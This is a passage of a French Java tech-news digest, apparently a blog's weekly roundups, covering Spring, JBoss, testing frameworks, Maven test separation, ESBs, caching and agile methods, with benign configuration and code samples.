• L’édition developer intègre TC Server dans Spring Tool Suite pour que les développeurs puissent surveiller en temps réel les performances de leurs applications.

C’est aussi l’occasion pour SpringSource de fournir une bonne intégration avec les solutions VMWare pour déployer et tester facilement sur des machines virtuelles. Pour notre bonheur à tous, SpringSource inscrit donc durablement son TC Server dans le paysage des serveurs J2EE et continue à participer activement au développement de Tomcat.

Le coin de la technique

Html5 en action

Comme une suite logique à notre article HTML5, les nouveaux éléments, DevelopperWorks propose un tutoriel HTML5 + CSS3. Après quelques rappels succincts sur ces deux standards, Joe Lennon propose de soumettre quelques unes de ces nouveautés à l’épreuve du feu. Un survol relativement complet, puisqu’il couvre la nouvelle structure de page, quelques nouvelles balises sémantiques, la vidéo, CSS3, les nouveaux formulaires et le canvas. Un complément intéressant pour tous ceux qui étaient impatients de découvrir ces nouvelles possibilités.

soapUI s’enrichit du support de JMS et AMF

Le célèbre outil de test de WebService, SoapUi, poursuit sa marche en avant, et ajoute de nouvelles cordes à son arc. La version 3.5 offre de nouvelles fonctionnalités particulièrement utiles aux développeurs travaillant sur des architectures web complexes, en particulier le test des ressources JMS.
Les développeurs de chez EviWare n’ont pas réinventé la roue, et ont seulement intégré un framework robuste sur ce sujet, HermesJMS. A vous les joies de poster / recevoir des messages JMS (texte ou xml), de manipuler les headers, de scripter vos files, et surtout d’automatiser vos tests d’intégration facilement.
De manière plus anecdotique (à notre sens en tout cas), cette nouvelle version propose aussi un ensemble d’outils pour tester vos ressources JDBC.
Enfin, dernière évolution majeure que nous n’avons pas eu l’occasion de tester, mais qui semble prometteuse, la possibilité de tester vos scripts AMF (Flash et Flex).
Tous les tutoriels se trouvent dans la page de la release 3.5 (qui ne va bien sûr pas sans son lot de corrections de bugs).

Des tests unitaires expressifs grâce à Spock

Spock est une petite librairie de tests unitaires en Groovy permettant d’écrire un test sous le format spécification (le format given/when/then est aussi supporté) :

def "subscribers receive published events at least once"() {
      when: publisher.send(event)
      then: (1.._) * subscriber.receive(event)
      where: event << ["started", "paused", "stopped"]
    }

La version 0.4 apporte la notion de « Data tables ». On retrouve cette notion dans d’autres API (notamment testNG). Cependant l’apport de Groovy rend le test vraiment très expressif :

def "maximum of two numbers"() {
  expect:
  Math.max(a, b) == c
  where:
  a | b | c
  3 | 7 | 7
  5 | 4 | 5
  9 | 9 | 9
}

Une petite librairie sympathique à découvrir ici.

JBoss simplifie les tests dans les conteneurs EJB

JBoss vient d’annoncer une première version alpha d’un nouveau projet baptisé Arquillian. Ce projet permet de simplifier l’écriture de tests unitaires qui doivent s’exécuter au sein d’un conteneur EJB. S’il est parfaitement possible de tester un session bean hors conteneur depuis l’arrivée de Pojos dans EJB 3.0, disposer d’un conteneur EJB permet de simplifier les injections de dépendance qui doivent être réalisées via l’annotation @EJB ainsi que les accès à des ressources propres au conteneur.

Conscient de cette problématique, pour laquelle l’univers Spring offre de nombreuses solutions, JBoss tente depuis plusieurs années d’apporter une réponse satisfaisante aux développeurs. Cette quête s’est engagée dès le développement des première versions de son conteneur EJB 3.0 avec le développement d’une déclinaison pouvant être démarrée depuis des tests et nommée Embeddable EJB (renommée depuis JBoss Embedded AS) ; cette initiative avait par ailleurs permis d’embarquer un conteneur EJB 3.0 dans Tomcat. Aujourd’hui Arquillian va plus loin en proposant une API de plus haut niveau pour tester ses EJB : l’ensemble des fastidieuses tâches de démarrage du conteneur sont ainsi masquées et le développeur n’a plus qu’a décrire son besoin.

Le projet est pour le moment à un stade embryonnaire et il faudra probablement plusieurs mois avant que l’on dispose d’un ensemble cohérent pour l’utilisation au sein des projets EJB. Toutefois, le souhait affiché d’utiliser Arquillian pour les tests internes de Seam 3 et pour les TCK de Weld permet d’espérer une rapide évolution pour cette API.

Evènements de notre communauté en France et à l’étranger

Salon « Solutions Linux Open Source »

Le salon « Solutions Linux Open Source » se déroulera cette semaine à la Porte de Versailles. De nombreux exposants y seront présents tels Oracle, Linagora, Alter Way, Canonical et bien d’autres encore… C’est l’occasion d’assister à de nombreuses conférences dont celles qui nous semblent les plus intéressantes sont:

• Oracle et l’open source
• Progiciels, le logiciel libre envahit le domaine fonctionnel
• Virtualisation: retours sur investissement et bonnes pratiques de la virtualisation
• Mobilité: smartphones, le libre prépondérant ?
• Développement logiciel collaboratif : bonnes pratiques, premiers bilans
• Meilleures pratiques pour l’intégration continue et méthodes agiles avec : Subversion, Ant, Maven et CruiseControl

De nombreuses formations seront aussi dispensées, mais par contre, elles sont payantes. L’an passé, c’est surtout l’omniprésence des solutions de virtualisation qui nous avait marqué. Quel sera le thème majeur du salon cette année ?

Test unitaire ou test d’intégration

La démarcation entre les tests unitaires et les tests d’intégrations est souvent floue et longuement débattue sur un projet.

Ce qui caractérise avant tout les tests unitaires, c’est leur périmètre réduit et surtout leur rapidité d’exécution (cf. les 10 commandements des tests unitaires). De même, les tests unitaires ne doivent pas avoir de pré-requis complexes et ne pas dépendre d’un système extérieur pouvant être indisponible (une base de donnée, un service fourni par une autre application, un broker JMS, etc.).

Il est très important de soigner ses tests unitaires pour que ceux-ci restent une véritable aide au développement. Si l’un d’eux échoue pour une raison extérieure au test et au code testé, ou bien s’ils deviennent de plus en plus lents, vous allez voir fleurir des  » @Ignore  » et les développeurs vont prendre l’habitude de builder en rajoutant l’option « -Dmaven.test.skip ». Enfin avec le temps, les tests vont devenir une contrainte plus qu’une aide et vont progressivement disparaître.

Cependant, nous ne voulons pas pour autant faire une croix sur les tests d’intégration. Ceux-ci sont très utiles pour vérifier le lien entre les différentes parties, ou faire des tests plus élaborés. De même, ils restent indispensables sur certaines couches, notamment les couches DAO ou WebServices où l’utilité de tests unitaires reste à voir. En effet quel est l’intérêt de tester le bon fonctionnement d’un mock ?

La question à laquelle nous allons tacher de répondre est donc : comment séparer de manière propre ces différents types de tests ?

Comment faire avec Maven

Séparer les tests d’intégration dans un module à part

Il existe plusieurs façons de procéder avec Maven, la plus simple étant de placer les tests d’intégration dans un module séparé du reste du projet. Bien que facile à mettre en place, cela a pour effet de décorreler les sources des tests et de multiplier les modules.

Dans le même ordre d’idées, on peut envisager de créer un seul module qui contiendrait tous les tests d’intégration. Cependant, cette approche n’est envisageable que si le projet contient un nombre très réduit de modules. Le code de test doit être traité avec autant d’égard que le reste du code. Tout comme on essaye de bien segmenter le code en parties logiques, on essaiera également de ne pas transformer ses tests en grand plat de spaghettis.

Utilisation des profiles maven

L’approche recommandée est la séparation via un profil dédié et la différenciation des tests d’intégration par pattern. Le but est de définir une convention pour cataloguer ses tests d’intégration :

• soit sur le nom de la classe (ex : *ITest.java)
• soit sur le nom du package (ex : **/integration/**)

Exemple de séparation sur le nom de package :

Tout d’abord on enlève toutes les classes contenues dans un package  » integration  » des tests.

<build>
	<plugins>
        	<plugin>
			<groupId>org.apache.maven.plugins</groupId>
			<artifactId>maven-surefire-plugin</artifactId>
			<version>2.4.2</version>
			<configuration>
				<skip>true</skip>
			</configuration>
			<executions>
				<execution>
					<id>surefire-test</id>
					<phase>test</phase>
					<goals>
						<goal>test</goal>
					</goals>
					<configuration>
						<skip>false</skip>
						<excludes>
							<exclude>**/integration/**</exclude>
						</excludes>
					</configuration>
				</execution>
			</executions>
        	</plugin>
	</plugins>
</build>

Puis, on redéfinit la phase  » integration-test  » en lui intégrant les classes contenues dans les package  » integration « .

<profile>
	<id>integration-testing</id>
	<build>
		<plugins>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-surefire-plugin</artifactId>
				<version>2.4.2</version>
				<configuration>
					<skip>true</skip>
				</configuration>
				<executions>
					<execution>
						<id>surefire-itest</id>
						<phase>integration-test</phase>
						<goals>
							<goal>test</goal>
						</goals>
						<configuration>
							<skip>false</skip>
							<includes>
								<include>**/integration/**</include>
							</includes>
						</configuration>
					</execution>
				</executions>
			</plugin>
		</plugins>
	</build>
</profile>

Cette approche a l’avantage de garder dans un même module les tests d’intégration et le code, tout en les regroupant sous un même package. Cependant, le seul point faible de cette approche réside dans le fait que le test d’intégration ne se retrouve plus dans le même package que la classe testée. Ainsi, on ne pourra plus accéder aux variables et méthodes protected.

Futur?

L’approche idéale dans Maven serait de séparer les tests d’intégrations de la même manière que les tests sont séparés du code. On pourrait ainsi avoir :

+- main
  +-- java
  +-- resources
+- test
  +-- java
  +-- resources
+- it
  +-- java
  +-- resources

Cette possibilité est très attendue par les développeurs mais impossible avec Maven2.
Maven3 le permettra-t-il ? Pour l’instant aucune information n’a filtré à ce sujet…

Comment faire avec le runner JUnit de Spring

Spring propose une surcouche à JUnit en l’enrichissant de nouvelles fonctionnalités. Celle qui nous intéressera particulièrement est l’utilisation du runner JUnit : SpringJUnit4ClassRunner en plus de l’annotation @IfProfileValue . Celle-ci permet de catégoriser les tests. Ceux étant annotés ainsi ne seront exécutés que si une variable d’environnement équivalente au contenu de l’annotation est présente dans le classpath.

import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.test.annotation.IfProfileValue;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
@RunWith(SpringJUnit4ClassRunner.class)
@ContextConfiguration(locations={"/test-configuration.xml"})
public class IntegrationTest {
	@IfProfileValue(name="test-group", value="integration")
	@Test
	public void test(){
		...
	}
}

De base, nos tests annotés ne sont pas exécutés. Pour qu’ils soient exécutés, il suffit de les lancer en rajoutant comme argument : -Dtest-group=integration.

Si vous utilisez Eclipse et que vous souhaitez activer vos tests d’intégrations par défaut, rien de plus simple :

En conclusion, cette solution offre l’avantage d’être assez souple et de pouvoir regrouper dans une même classe différents types de tests.

Comment faire avec TestNG

TestNG est un framework de tests offrant de nombreuses fonctionnalités supplémentaires par rapport à JUnit. Avec TestNG il est possible de spécifier le ou les groupes de tests concernés directement dans l’annotation @Test.

@Test(groups = "integrationTest")
public class Test {
  public foo() {}
  public bar() {}
}

Pour exclure des groupes de tests en utilisant TestNG, il suffit de lui rajouter l’option -excludegroups= »xxx,yyy ».
Si vous utilisez Maven il faut configurer Surefire de la sorte :

<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-surefire-plugin</artifactId>
    <version>2.4.2</version>
    <configuration>
      <groups>integrationTest</groups>
    </configuration>
  </plugin>

Cette solution est surement la plus complète et la plus souple avec les notions de groupe de groupes, groupes partiels, etc. (cf. documentation)

Et pour JUnit?

Attendue depuis longtemps par la communauté, JUnit propose dans sa version 4.8 une fonctionnalité expérimentale, les @Category (Voir la présentation de David Saff) :

public interface SlowTests {}
public class A {
   @Category(SlowTests.class)
   @Test
   public void testA(){
   }
}
@RunWith(Categories.class)
@IncludeCategory(SlowTests.class)
@SuiteClasses( { A.class})
public class SlowTestSuite {
}

Cette solution n’est cependant pas encore très mature. En effet, il est nécessaire de créer une interface pour chaque type de test et il faut impérativement définir manuellement la suite de tests en y ajoutant une à une les classes de tests à inclure (même s’il existe quelques astuces). De plus, le lien avec le plugin Surefire de Maven n’existe pas encore.
Cette solution est donc une alternative à surveiller mais pas encore à utiliser.

Conclusion

Comme nous venons de le voir, il existe de nombreux moyens pour séparer nos différents types de tests. Attention cependant à ne pas utiliser cette technique pour masquer les test gênants. Si vous avez des soucis avec certains tests, mieux vaut s’attaquer à la source même du problème plutôt qu’à ses conséquences. De plus, cette séparation doit être une aide aux développeurs uniquement, il est primordial de demander au serveur d’intégration continue de lancer l’intégralité des tests. Ou bien de le paramétrer avec deux builds : un à la volée très rapide et un exécuté une fois par jour qui lancera l’intégralité des tests.

SOA

• Spring Integration et Apache Camel : 2 ESB lightweight en action

Le coin de la technique

• Impala, la modularité pour Spring sans OSGi
• La définition de DataSources dans JEE 6
• Les google-collections sont finales !
• Spring Roo en 1.0.0 pour terminer l’année

SOA

Spring Integration et Apache Camel : 2 ESB lightweight en action

La mouvance SOA a amené un certain nombre de produits classifiés comme ESB (Enterprise Service Bus) dont le but est de répondre aux problématiques d’intégration courantes en entreprise. Dans un premier temps, ces produits prenaient la forme de middlewares très lourds dont la mise en œuvre devait être justifiée par des besoins importants. Il y a deux ans, nous assistions à l’avènement d’ESB qualifiés de lightweight car ils prenaient la forme de frameworks moins gourmands en ressources et plus simples à utiliser. Spring Integration et Apache Camel sont les deux principales options à envisager en matière d’ESB léger.

C’est justement de l’utilisation de chacun de ces deux frameworks que discute l’article que vient de publier Biju Kunjummen. Il y propose une problématique d’intégration qui consiste en l’exposition d’un service qui, lorsqu’il est invoqué, entraîne l’invocation multiple d’un même service de bas niveau via l’utilisation d’un pattern splitter sur la requête et d’un pattern aggregator sur la réponse. Les deux frameworks offrent nativement ce type d’EIP (Enterprise Intergration Pattern).

Aucun favori ne se démarque clairement dans la comparaison entre ces deux implémentations : Spring Integration vient s’intégrer naturellement à l’Application Context de Spring en reprenant le même type de structure de définition XML, tandis qu’Apache Camel, bien qu’offrant également la possibilité d’une configuration XML, sera surtout apprécié pour son DSL Java permettant la définition des routes d’intégration.

Le lecteur intéressé par ces deux frameworks pourra se tourner, au-delà des documentations respectives, vers les deux livres en préparation chez l’éditeur Manning, Spring Integration in Action et Camel in Action, prévus pour l’été prochain.

Le coin de la technique

Impala, la modularité pour Spring sans OSGi

La modularité est un sujet porteur en ce moment, tant du côté du JDK avec Jigsaw, que du côté Java Entreprise avec OSGi dont le principal acteur actuellement est sans conteste SpringSource avec Spring Dynamic Modules et son serveur d’application associé Spring dm Server.

Phil Zoio a été interviewé il y a peu pour présenter le projet Open Source qu’il a fondé : Impala. Il s’agit d’une vision différente de la modularité pour applications d’entreprise. Ainsi, Impala repose sur Spring, tout comme Spring Dynamic Modules, mais contrairement à ce dernier, il n’utilise pas OSGi et adopte une stratégie radicalement différente : il constitue lui-même des modules encapsulant chacun un application context qui déclare un certain nombre de beans. La solution de modularité ainsi produite offre tout comme OSGi un fonctionnement dynamique permettant le chargement à chaud de nouveaux modules.

Dans un climat où beaucoup s’interrogent sur la potentielle lourdeur d’OSGi, ce type d’initiative proposant une solution alternative plus simple face au standard prend tout son sens et n’est pas sans rappeler l’offensive de Spring Framework lui-même, il y a quelques années, face au contesté standard EJB.

La définition de DataSources dans Java EE 6

Matt Corey poste cette semaine un article mettant en avant une facilité rarement (jamais ?) évoquée de Java EE 6 : la configuration des sources de données par annotation. En effet, si la nouvelle spécification de Sun est largement couverte depuis des mois, y compris sur notre blog, il est en général question des nouveautés qui retiennent le plus l’attention telles que les beans singletons d’EJB 3.1, l’API query builder de JPA 2.0 ou encore ses nouveaux modèles de composants.

En fait il s’agit d’une standardisation de la technique de configuration des sources de données dans les serveurs d’application Java EE. Cette définition était en effet jusqu’alors un détail d’implémentation des serveurs et n’était donc pas portable. Cette configuration peut donc maintenant se faire par l’annotation @DataSourceDefinition ce qui évite ainsi l’utilisation de XML et va donc dans le sens de la logique initiée depuis Java EE 5. L’exemple suivant permet de mieux se rendre compte de son utilisation :

@DataSourceDefinition (
className="org.apache.derby.jdbc.ClientDataSource",
name="java:global/jdbc/AppDB",
serverName="localhost",
portNumber=1527,
user="user",
password="password",
databaseName="dev-db"
)
public class Config {
...
}

Si tout le monde n’appréciera pas forcément d’avoir recours à une annotation pour ce type de configuration, les projets souhaitant distribuer des war ou ear portables qui se connectent à une base de données embarquée ou locale devraient en revanche y trouver leur compte.

Les google-collections sont finales !

Annoncée sur la users list du projet, l’API google-collections passe en version finale 1.0.
Pour ceux qui ne connaissent pas encore cette API de collections type-safe, rendez-vous sur cette page pour une introduction à la librairie.

La finalisation de Google Collections constitue un changement majeur dans l’environnement des développeurs Java. En effet Apache Commons Collections constituait jusqu’alors le principal complément à l’API de base du JDK. Or, la librairie de la fondation Apache est vieillissante et ne propose toujours pas les generics de Java 5. Google Collection se positionne donc ni plus ni moins que comme un remplaçant.

La FAQ répondra à bon nombre de questions que l’on peut se poser sur cette API notamment sur les raisons qui ont poussé Google à créer sa propre API plutôt que de contribuer à Commons Collections.

Enfin on notera que Google Collections sera intégré à Guava sous peu pour constituer la librairie d’extension du JDK de Google.

De par la nature de ces APIs, Google Collections et Guava peuvent également constituer un premier pas vers la programmation un peu plus orientée fonctionnelle. A ce sujet, il est aussi possible de regarder du côté de lambdaj, une API de parcours de collections sans boucle explicite. Et pour ceux qui souhaitent aller encore plus loin, rendez-vous sur functional.java ou  tournez vous vers la préparation des closures dans Java.

Spring Roo en 1.0.0 pour terminer l’année

Encore une release pour Spring pour clôturer en beauté l’année 2009. Bravo!
Spring Roo, 8 mois après sa première version alpha, vient de sortir en 1.0.0. Roo, en quelques mots, permet de développer des applications plus rapidement en générant et maintenant, tout au long des développements, une partie importante du code source (du POJO à la JSP).
Un effort a été mis sur la documentation qui a intégré un tutoriel et les commandes. La seule partie encore en travaux est le chapitre 3, celle qui concerne le fonctionnement interne de ROO. Cette partie permet entre autres d’avoir les bases pour développer des extensions.
En standard, Roo propose déjà des extensions, comme par exemple les fonctionnalités de sécurité, basées sur Spring Security et des flows avec Spring Webflow.

Spring Roo présente un formidable intérêt pédagogique, car il s’appuie systématiquement sur les toutes dernières versions des jars de Spring et d’Hibernate.
On peut par contre trouver peu commode son mécanisme interne qui se base sur la technologie AspectJ. Son principe est de générer les méthodes de classe en se basant sur des fichiers d’aspects. Jusqu’à présent, notre expérience avec Spring Roo a montré que cela ne fonctionnait pas de manière complètement transparente pour le développeur, même avec l’Eclipse de SpringSource (STS). Cette limitation pourra donc dissuader certaines équipes de partir sur un projet avec ROO tout au long des développements.

Voici sur Slideshare, les deux présentations mises en ligne par le leader du projet, Ben Alex:

• Introduction To Spring Roo 1.0.0
• Spring Roo 1.0.0 Technical Deep Dive

Actualité éditeurs / SSII

• Le meilleur de The Server Side

Le coin de la technique

• Spring Security seulement un alignement sur Spring 3.0 ?
• Tour d’horizon de JBoss Infinispan
• JGroups à l’heure du Cloud Computing

Actualité éditeurs / SSII

Le meilleur de The Server Side

Avec les fêtes vient le temps des rétrospectives. Et c’est TheServerSide qui ouvre le bal, avec son hit parade des neuf fils de discussion les plus vus en 2009. Sans surprise, on retrouve quelques stars de l’année, dont la popularité ne devrait pas faiblir en 2010 : JavaEE 6 et Glassfish 3, la persistance (JPA, les caches d’Hibernate, la démarcation transactionnelle avec Spring)… Mais aussi les buzz de l’année : Google App Engine, les langages next-gen… On trouve ensuite un grand article communautaire, sur ce que doit savoir un architecte applicatif.
Enfin, et nous devons bien avouer qu’à la vue des évènements passés, cela prête à sourire, un très beau fil de prospective : IBM parle de racheter Sun.

Cette première rétrospective reflète pour nous bien les tendances de l’année passée : pas mal de grandes manœuvres chez les éditeurs, des concurrents à Java de plus en plus présent, un nouvelle spécification très attendue, et des frameworks incontournables qui continuent à mener la danse.

Le coin de la technique

Spring Security seulement un alignement sur Spring 3.0 ?

Dans la foulée de la sortie de la version 3 de Spring Framework, c’est au tour de Spring Security de faire son annonce. Le point le plus marquant de cette version est l’utilisation du Spring Expression Language pour décrire les règles de contrôle d’accès qui simplifieront des vérifications simples comme @PreAuthorize("#contact.name == principal.name)") et surtout, couplé à des classes java transverses de sécurité, permettra d’effectuer élégamment des contrôles déclaratifs sophistiqués tels que :

@PreAuthorize("isPhysician(#patientFile.patient)")
public void create(PatientFile patientFile);

Bien sûr, il faudra programmer la méthode isPhysician(), Spring Security ne se substituera pas au code métier de votre application, il sera juste une aide précieuse .
Nous noterons au passage que l’Expression Language apporte à l’Aspect Oriented Programming le haut niveau d’abstraction qui permet de programmer des fonctionnalités métiers transverses sans être un spécialiste de la plomberie ProceedingJoinPoint et autres joyeusetés. L’AOP devient alors beaucoup plus accessible pour les développeurs d’informatique de gestion.

Les autres nouveautés que nous garderons en tête : des contrôles pré et post traitement (@PreAuthorize et @PostAuthorize), la restructuration des jars similaire à celle que Spring 2.5 a connu, et une clarification des règles de redirection post authentification.

Tour d’horizon de JBoss Infinispan

Le projet Infinispan a été initié en milieu d’année 2009 chez JBoss. Il s’agit d’une évolution de JBoss Cache d’un simple cache vers un DataGrid.

Dans le dernier épisode en date de JBoss Asylum, le podcast dédié à la communauté JBoss maintenu par Emmanuel Bernard et Max R Andersen, Mark Surtani, leader du projet Infinispan, était invité pour parler de son projet. Il a pu faire un tour d’horizon global en commençant par le lien entre JBoss Cache et Infinispan :

• Contrairement à JBoss Cache qui utilisait une organisation arborescente, Infinispan se base uniquement sur une structure clé-valeur à plat.
• Tout comme le faisait JBoss Cache, Inifinispan utilise JGroups pour assurer la découverte de ses instances.
• Une API d’adaptation permettra d’assurer la transition entre JBoss Cache et Infinispan, notamment en offrant une arborescence au dessus de la structure de base d’Infinispan. Des outils seront fournis afin de migrer les fichiers de configuration.

Manik Surtani a également abordé les fonctionnalités à venir, après la finalisation de la première version, dévoilant ainsi les ambitions de positionnement de ce produit :

• Utilisation de Lucene pour offrir une API de requêtes puissante permettant des recherches dans le DataGrid. Plusieurs possibilités d’architecture ont été évoquées telles que la réplication d’un index complet sur l’ensemble des noeuds ou la distribution de shards de l’index complet sur les noeuds via l’utilisation d’un InfinispanDirectory pour Lucene, actuellement en cours de développement.
• Intégration éventuelle avec Hibernate Search. Infinispan se substituerait à Hibernate Core et Hibernate Search lui apporterait alors la fonctionnalité de recherche.
• Possibilité d’effectuer des continuous requests pour que les résultats d’une requête s’enrichissent au fur et a mesure de l’arrivée de données sur la grille.
• API de MapReduce permettant de soumettre un Callable et un ensemble de clés d’objets sur lesquels doivent s’appliquer le traitement pour obtenir un Future représentant le résultat, à venir, après opération de réduction.

La plupart des fonctionnalités évoquées sont présentes dans les produits commerciaux que sont Oracle Coherence ou IBM eXtreme Scale. Toutefois, de telles possibilités seraient inédites dans un produit Open Source ce qui devrait faire d’Inifinispan un produit très intéressant à suivre en 2010…

JGroups à l’heure du Cloud Computing

JGroups est un framework permettant la communication au sein d’un groupe de serveurs. Actuellement développé au sein de JBoss, il est à la base de nombreux middlewares et frameworks d’entreprise permettant un fonctionnement distribué tels que JBoss Cache ou plus récemment Infinispan.

Après un an sans mise à jour majeure, Bela Ban, leader du projet, annonce la version 2.8. Outre de nombreuses évolutions améliorant la flexibilité de JGroups, un apport notable s’est glissé dans la liste : le support d’Amazon EC2. Il s’agit là d’une nouveauté emblématique de cette année 2009 qui va se conclure ; la majorité des frameworks cherche à afficher une compatibilité voire une synergie avec les environnements de Cloud Computing courant.
En pratique, cette intégration de JGroups à EC2 se fait par l’ajout d’un nouveau protocole de découverte de voisinage nommé S3_PING. Comme son nom l’indique, il utilise un stockage S3 commun dans lequel tous les membres d’un groupe écrivent leurs coordonnées. Ce mécanisme est particulièrement bien adapté à EC2 qui, de part la topologie réseau qu’il offre, ne permet pas le multicasting et n’est guère adapté aux autres protocoles de découvertes qui existaient jusqu’alors dans JGroups.

Notons tout de même que la principale nouveauté de cette version 2.8 est l’ajout du concept d’adresse logique que Bela Ban présentait il y a quelques mois. Une adresse logique permet de découpler l’identité d’un nœud JGroups de son adresse réseau ; l’association entre adresse logique et physique est résolue lors de la découverte des nœuds. Outre le découplage offert par ce concept, ces adresses permettent également de simplifier la gestion des pertes de messages lors de la ré-incarnation d’un nœud suite a son indisponibilité temporaire.

10 ans après sa création, JGroups continue donc de se maintenir à jour et, dans la mesure où il remplit toujours parfaitement son rôle, il devrait rester présent encore des années dans plusieurs middlewares et frameworks majeurs.

Actualité éditeurs / SSII

• Thoughtworks murmure la sortie de Mingle 3.0
• Spring 3.0 enfin finalisé !

Agilité

• Quand le ScrumMaster est un obsctacle
• Kanban ou Scrum ? Kanban et Scrum !

SOA

• Gouvernance implicite et explicite dans une SOA

Le coin de la technique

• Les optimisations se succèdent sur OpenJDK 7

Actualité éditeurs / SSII

Thoughtworks murmure la sortie de Mingle 3.0

Thoughtworks Studios, la partie éditeur de logiciels de Thoughtworks, annonce la sortie d’une nouvelle version majeure de son outil de gestion de projet agile : Mingle.

« Les nouvelles fonctionnalités de Mingle 3.0 permettent de transformer des échanges non structurés en mine d’informations à utiliser pour le développement… » annonce Chad Wathington (vice président de Thoughtworks Studios) :

• Amélioration de la collaboration à l’intérieur de l’équipe : Mingle intègre une nouvelle plate-forme de communication appelée Murmurs.

Les échanges informels (du type messages instantanés ou emails) autour du développement d’une fonctionnalité sont associés en temps réel à une card Mingle. Ainsi tous les échanges sont conservés et aucune information n’est perdue dans les différents canaux de communication. L’intégration avec Jabber Chat est fournie.

• Une fonctionnalité autour de la collaboration fait effet d’annonce. Thougtworks Studios propose une intégration avec le tout dernier moyen d’échanger des informations : Google Wave. Il sera alors possible de manipuler des cards (créer, changer de statuts…) directement depuis une Wave et de référencer du contenu de Wave pour le retrouver directement dans Mingle. Attention cependant, cette fonctionnalité sera seulement disponible courant 2010 (les bas de page sont, dans ce cas, à lire attentivement).

Les autres évolutions apportent de la flexibilité et des outils pour les grosses structures :

• Pour le reporting et l’extraction de données, cette version fournit au manager une vision agrégée et multi-projets pour faciliter par exemple l’affectation des ressources ou encore la copie de Cards entre différents projets.
• Dans la même voie, Mingle améliore sa boite à outils de développement de macro afin de proposer la recherche de données multi-projets ainsi qu’une macro d’exemple.
• Mingle 3.0 supporte dorénavant le clustering pour les organisations de grosse taille.
• Amélioration de l’intégration avec des applications extérieures en fournissant des API plus complètes pour manipuler les données de Mingle et une mise à jour du connecteur Subversion pour supporter la version 1.6.5

Mingle est déjà mature en version 2.3.1, et il se présente comme un des meilleurs outils de gestion de projet agile (gestion façon Kanban des user stories, customisation du workflow de développement, extraction de données simple, reporting…).
En tant qu’utilisateurs de Mingle, l’agrégation des échanges informels nous semble cependant une avancée intéressante : ils deviennent un canal privilégié d’échange (surtout dans dans le cadre d’équipes distribuées) et sont souvent à l’origine de bonnes idées. En assurer le suivi et l’indexation au sein de l’outil principal de gestion du projet apporte indubitablement de la valeur ajoutée.

Spring 3.0 enfin finalisé !

Deux mois après un communiqué de presse qui avait semé la confusion lors de la conférence SpringOne G2X, SpringSource a finalement livré la version finale du framework Spring 3.0. Cette version se rapproche des standards Java, ou les standards se rapprochent de Spring comme vous préférez !

Plus sérieusement, c’est un pas important pour cette version de Spring qui est maintenant compatible Java EE 6.

De plus, Spring supporte plusieurs standards :

• JSR-250 @ManagedBean, annotation permettant de scanner les composants annotés et ainsi injecter des ressources, gérer les intercepteurs et callbacks attachés
• JSR-303 pour la validation du modèle par annotation
• JSR-330 @Inject standardisation de l’injection de dépendances par annotation

Il y a de nombreuses nouveautés, en voici un panel :

• Spring Expression Language (SpEL) (inspiré de Seam) est un langage EL (Expression Language) étendu comme on peut le trouver dans nos chères JSP.
• Enrichissement des annotations, ce qui devrait calmer les détracteurs de Spring qui reprochaient la surconfiguration XML
• Support REST (client et serveur) dans Spring MVC
• etc …

Voici un exemple intéressant des capacités de SpEL, dans le fichier de configuration XML de Spring :

<bean class="mycompany.RewardsTestDatabase">
    <property name="databaseName" value="#{systemProperties.databaseName}"/>
    <property name="keyGenerator" value="#{strategyBean.databaseKeyGenerator}"/>
</bean>

ou en java :

@Repository
public class RewardsTestDatabase {
@Value("#{systemProperties.databaseName}")
public void setDatabaseName(String dbName) { ... }
@Value("#{strategyBean.databaseKeyGenerator}")
public void setKeyGenerator(KeyGenerator kg) { ... }
}

Autre élément important, Spring ne supporte plus Java 1.4. En effet Spring couvre les environnements Java 1.5 et 1.6 et Servlet 2.4 et plus, soit Tomcat 5.x et 6.x, ainsi que WebSphere 6.1 et WebLogic 9.2 (qui sont officiellement toujours basés sur J2EE 1.4).

Donc en résumé rien de révolutionnaire, mais il y a quand même beaucoup de nouveautés qui méritent un coup d’oeil. N’hésitez pas à lire la documentation officielle de Spring pour toutes les découvrir .

Agilité

Quand le ScrumMaster est un obsctacle

Cette semaine, Vikas Hazrati, un de nos collègues indiens, nous gratifie (sur InfoQ) d’un article délicieusement subversif : et si le Scrum Master était un obstacle – un impediment pour utiliser un anglicisme barbare – majeur.
Reprenant plusieurs fils de discussions, InfoQ distingue trois types de ScrumMaster problématiques :

• Le ScrumMaster développeur : il agit comme un membre de l’équipe de développement, s’implique fortement dans la réalisation du backlog. L’équipe devient alors spectatrice de l’avancée du projet.
• Le ScrumMaster chef de projet : il dirige les travaux de l’équipe, qui devient totalement dépendante de ses consignes.
• Le ScrumMaster tampon : il gère toutes les communications entre les développeurs et les products owners et / ou clients. Il devient rapidement un goulot d’étranglement. C’est un cas fréquent dans les projets Scrum distribués.

D’autres mauvaises habitudes se dégagent de ces discussions :

• le manque d’anticipation : le ScrumMaster tient le journal des difficultés rencontrées, et même si il les lève, il ne fait rien pour les anticiper.
• l’expertise à tout prix : le ScrumMaster s’implique dans toutes les tâches délicates et l’équipe devient dépendante de son aide. Rapidement, il est contraint par un manque de temps et devient un obstacle à la réalisation du sprint.
• toucher à tout, et oublier son rôle : le ScrumMaster est majoritairement là pour aider l’équipe à avancer dans la réalisation des sprints. Toute tâche annexe à celle ci est consommatrice de temps et empêche l’accomplissement de sa mission principale.

Malgré toutes ces analyses pertinentes, si nous ne devions en conserver qu’une, ce serait celle de Tobias Mayer : donner à quelqu’un le titre de ScrumMaster ne suffit pas à ce qu’il en devienne un.

Kanban ou Scrum ? Kanban et Scrum !

InfoQ nous propose en téléchargement gratuit le livre Kanban et Scrum – making the most of both par Henrik Kinberg et Mattias Skarin.
L’objectif du livre est que vous puissiez comprendre (si ce n’est pas déjà fait) comment Kanban et Scrum pourraient être utiles dans votre environnement.
La première partie se consacre à une brève description de Kanban et Scrum (rôles, itérations…). Ils sont ensuite comparer directement mais aussi comparer à d’autres méthodes agiles. La deuxième partie est une étude de cas avec des questions, des réponses et beaucoup d’exemples : pourquoi changer ? Par où commencer ? Démarrage des équipes ? Comment estimer ? etc…
Pour la version papier, cela se passe par ici.

SOA

Gouvernance implicite et explicite dans une SOA

